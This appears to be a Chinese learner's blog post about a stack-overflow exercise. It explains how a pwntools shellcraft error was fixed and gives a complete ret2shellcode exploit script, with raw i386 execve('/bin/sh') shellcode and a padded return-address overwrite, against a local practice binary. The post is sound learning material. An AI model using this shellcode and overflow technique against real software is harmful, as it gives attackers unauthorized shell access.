KeyError: ‘i386/linux/syscalls/execve.asm‘

自学栈溢出漏洞碰到个问题记录一下。从网上下载shellcode源码出现这个报错,错误提示一堆。
在这里插入图片描述
有一个关键错误,显示有asm,asm是汇编,在脚本中生成汇编的是asm(shellcraft.sh())这个函数,此函数会生成shellcode,将shellcode写入栈中等到ret时getshell,听大佬说shellcode也可以自己写,如果你头铁的话。合理猜想此函数有问题

"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"

换上以后错误正常了
在这里插入图片描述

这种问题其实已经出现过,原因是字符串不能与字节连接,前面是字符串,后面是字节。在网上找到此解决方法,在a前面加b(b似乎是一个字符串转byte的转换)

改了之后依旧有其他的错误,在排查的时候突然想到既然b像是字符转换,刚刚输进去的汇编也是字符串,我只转换了用于补充无用栈的字符串,汇编还没转换,在汇编前加b
在这里插入图片描述
可以显示id等终端命令,证明getshell成功
开心,终于解决了。
注意,这里还有字节警告,没有继续追究下去,有知道的伙伴滴滴一下。
完整脚本

from pwn import *
p = process("./ret2shellcode")
buf2_addr = 0x0804A080
sc =b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
payload = sc.ljust(0x70,b"a") + p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\n",payload)
p.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值